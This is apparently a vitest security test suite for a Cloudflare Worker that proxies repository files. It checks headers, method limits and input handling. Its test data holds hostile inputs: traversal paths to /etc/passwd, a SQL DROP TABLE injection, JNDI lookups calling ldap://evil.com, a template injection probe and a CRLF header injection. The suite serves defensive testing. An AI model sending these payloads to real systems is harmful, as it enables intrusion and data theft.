import { SELF } from 'cloudflare:test'; import { describe, expect, it } from 'vitest'; describe('Security Features', () => { describe('Security Headers', () => { it('should include Strict-Transport-Security header', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); const hsts = response.headers.get('Strict-Transport-Security'); expect(hsts).toBeTruthy(); expect(hsts).toContain('max-age='); expect(hsts).toContain('includeSubDomains'); expect(hsts).toContain('preload'); }); it('should include X-Frame-Options header', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); expect(response.headers.get('X-Frame-Options')).toBe('DENY'); }); it('should include X-XSS-Protection header', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block'); }); it('should include Content-Security-Policy header', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); const csp = response.headers.get('Content-Security-Policy'); expect(csp).toBeTruthy(); expect(csp).toContain("default-src 'none'"); }); it('should include Referrer-Policy header', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); expect(response.headers.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin'); }); it('should include Permissions-Policy header', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); const permissionsPolicy = response.headers.get('Permissions-Policy'); expect(permissionsPolicy).toBeTruthy(); expect(permissionsPolicy).toContain('interest-cohort=()'); }); }); describe('HTTP Method Restrictions', () => { it('should reject PATCH method', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo', { method: 'PATCH' }); expect(response.status).toBe(405); }); it('should reject PUT method for non-Git requests', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', { method: 'PUT' }); expect(response.status).toBe(405); }); it('should reject DELETE method', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo', { method: 'DELETE' }); expect(response.status).toBe(405); }); it('should reject OPTIONS method', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo', { method: 'OPTIONS' }); expect(response.status).toBe(405); }); }); describe('Path Validation', () => { it('should reject paths with directory traversal attempts', async () => { const maliciousPaths = [ '/gh/../../../etc/passwd', '/gh/user/repo/../../../sensitive', '/gh/user/repo/..%2F..%2F..%2Fetc%2Fpasswd', '/gh/user/repo/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd' ]; for (const path of maliciousPaths) { const response = await SELF.fetch(`https://example.com${path}`, { method: 'HEAD', redirect: 'manual' // Don't follow redirects }); // Some runtimes normalize plain `..` segments before the Worker sees them. // Encoded traversal should still be rejected. if (/%[0-9a-fA-F]{2}/.test(path)) { expect(response.status).toBe(400); } else { expect(response.status).not.toBe(500); } } }, 45000); it('should reject extremely long paths', async () => { const longPath = `/gh/${'a'.repeat(3000)}`; const response = await SELF.fetch(`https://example.com${longPath}`); expect(response.status).toBe(414); }); it('should handle URL encoding safely', async () => { const encodedPaths = [ '/gh/user/repo%20with%20spaces', '/gh/user/repo%2Ffile.txt', '/gh/user%40domain/repo' ]; for (const path of encodedPaths) { const response = await SELF.fetch(`https://example.com${path}`, { method: 'HEAD' }); // Should handle encoded paths without security issues expect(response.status).not.toBe(500); } }, 30000); }); describe('Input Sanitization', () => { it('should handle special characters in paths', async () => { const specialPaths = [ '/gh/user/repo', "/gh/user/repo'; DROP TABLE users; --", '/gh/user/repo${jndi:ldap://evil.com}', '/gh/user/repo{{7*7}}' ]; for (const path of specialPaths) { const response = await SELF.fetch(`https://example.com${path}`, { method: 'HEAD' }); // Should safely handle special characters expect(response.status).not.toBe(500); } }, 30000); it('should handle Unicode characters safely', async () => { const unicodePaths = [ '/gh/所有者/存储库/文件.txt', '/gh/user/repo/файл.txt', '/gh/user/repo/ファイル.txt' ]; for (const path of unicodePaths) { const response = await SELF.fetch(`https://example.com${path}`, { method: 'HEAD' }); // Should handle Unicode without issues expect(response.status).not.toBe(500); } }, 20000); }); describe('Request Header Validation', () => { it('should handle malicious User-Agent headers', async () => { const maliciousUserAgents = [ '', 'Mozilla/5.0 ${jndi:ldap://evil.com}' ]; for (const userAgent of maliciousUserAgents) { const response = await SELF.fetch('https://example.com/gh/test/repo', { method: 'HEAD', headers: { 'User-Agent': userAgent } }); // Should handle malicious user agents safely expect(response.status).not.toBe(500); } }, 20000); it('should handle header injection attempts', async () => { // Malformed headers should be rejected before the request is dispatched. expect(() => { new Request('https://example.com/gh/test/repo', { headers: { 'X-Test': 'value\r\nX-Injected: malicious' } }); }).toThrow(/[Ii]nvalid|[Hh]eader/); }); }); describe('Rate Limiting and DoS Protection', () => { it('should handle concurrent requests gracefully', async () => { const requests = Array(10) .fill(null) .map(() => SELF.fetch('https://example.com/gh/test/repo/small-file.txt')); const responses = await Promise.all(requests); // All requests should be handled without errors responses.forEach((/** @type {Response} */ response) => { expect(response.status).not.toBe(500); }); }, 30000); it('should timeout long-running requests', async () => { // This test would need to be implemented based on actual timeout behavior // For now, we just verify the request doesn't hang indefinitely const startTime = Date.now(); try { await SELF.fetch('https://example.com/gh/test/very-large-file', { signal: AbortSignal.timeout(35000) // Slightly longer than expected timeout }); } catch { // Request should timeout or complete within reasonable time const elapsed = Date.now() - startTime; expect(elapsed).toBeLessThan(40000); // 40 seconds max } }, 45000); }); describe('Error Information Disclosure', () => { it('should not expose internal error details', async () => { const response = await SELF.fetch('https://example.com/invalid-platform/test', { redirect: 'manual' // Don't follow redirects }); // Should return error or redirect expect([400, 404, 302, 301]).toContain(response.status); if (response.status >= 400) { const body = await response.text(); // Should not expose internal paths, stack traces, or sensitive info expect(body).not.toMatch(/\/[a-zA-Z]:[\\/]/); // Windows paths expect(body).not.toMatch(/\/home\/[^/]+/); // Unix home paths expect(body).not.toMatch(/at [a-zA-Z]+\.[a-zA-Z]+/); // Stack traces expect(body).not.toMatch(/Error: .+ at/); // Detailed error messages } }); it('should provide generic error messages', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo', { method: 'TRACE', redirect: 'manual' }); // Should return error or redirect expect([400, 404, 302, 301, 405, 501]).toContain(response.status); }); }); describe('CORS Security', () => { it('should handle CORS preflight requests securely', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo', { method: 'OPTIONS', headers: { Origin: 'https://evil.com', 'Access-Control-Request-Method': 'GET', 'Access-Control-Request-Headers': 'X-Custom-Header' } }); // Should either reject OPTIONS or handle CORS securely if (response.status === 200) { const allowOrigin = response.headers.get('Access-Control-Allow-Origin'); // Should not blindly allow all origins for sensitive operations expect(allowOrigin).not.toBe('https://evil.com'); } }); }); describe('Content Type Security', () => { it('should not execute uploaded content', async () => { // Test that the service doesn't execute or interpret uploaded content const response = await SELF.fetch('https://example.com/gh/test/repo/script.js'); // Should serve content with appropriate headers, not execute it const contentType = response.headers.get('Content-Type'); if (contentType) { expect(contentType).not.toContain('text/html'); expect(contentType).not.toContain('application/javascript'); } }); }); });